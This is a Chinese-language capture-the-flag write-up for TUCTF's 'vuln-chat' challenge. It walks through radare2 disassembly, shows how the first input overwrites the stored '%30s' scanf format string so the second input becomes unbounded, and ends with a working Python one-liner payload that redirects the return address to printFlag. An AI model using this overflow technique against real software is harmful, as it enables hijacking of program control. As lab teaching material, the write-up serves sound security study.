TUCTF:利用vuln-chat

覆盖scanf格式字符串,将受限溢出扩大为对返回地址的控制。

运行后会出现一个聊天程序,先询问昵称,再要求输入消息:

2_5_tu_vulnchat/wip$ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: lala
Welcome lala!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
lala: lele
djinn: Sorry. That's not good enough

使用r2打开它。 通过afl发现一个有趣的函数,名为sym.printFlag。 0x0804856b 1 31 sym.printFlag 可以看到,它会打印旗标:

┌ 31: sym.printFlag ();
│           0x0804856b      55             push ebp
│           0x0804856c      89e5           mov ebp, esp
│           0x0804856e      68f0860408     push str._bin_cat_._flag.txt ; 0x80486f0 ; "/bin/cat ./flag.txt"
│           0x08048573      e8a8feffff     call sym.imp.system         ; int system(const char *string)
│           0x08048578      83c404         add esp, 4
│           0x0804857b      6804870408     push str.Use_it_wisely      ; 0x8048704 ; "Use it wisely"
│           0x08048580      e88bfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048585      83c404         add esp, 4
│           0x08048588      c9             leave
└           0x08048589      c3             ret

接下来查看主函数。

输入是通过scanf读取的。 我一开始没发现问题,直到看到这里:

│           0x080485be      c745fb2533..   mov dword [format], 0x73303325 ; '%30s'
│           0x080485c5      c645ff00       mov byte [var_1h], 0
│           0x080485c9      8d45e7         lea eax, [var_19h]

以及:

│           0x0804862c      8d45d3         lea eax, [var_2dh]
│           0x0804862f      50             push eax
│           0x08048630      8d45fb         lea eax, [format]
│           0x08048633      50             push eax                    ; const char *format
│           0x08048634      e827feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)

格式字符串%30s保存在局部变量中,而这个变量位于第一次输入可溢出到的范围内。 距离为0x19-0x5,也就是20字节,但我们最多可以写入30字节。 这样第二次输入就能使用任意长度的字符串,从而覆盖eip。

最终结构如下: 20 bytes of trash + %90s(for example) + remaining bytes to waste first input (6 bytes) + 49 bytes of padding + 0x0804856b 也可以不用那6字节填充,而改用\n、\x0a、 或其他空白字符。

$python3 -c "import sys;sys.stdout.buffer.write(b'A'*20+b'\x25\x39\x30\x73'+b'B'*6+b'C'*49+b'\x6b\x85\x04\x08')" | ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: Welcome AAAAAAAAAAAAAAAAAAAA%90sBBBBBB!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
AAAAAAAAAAAAAAAAAAAA%90sBBBBBB: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
Segmentation fault (core dumped)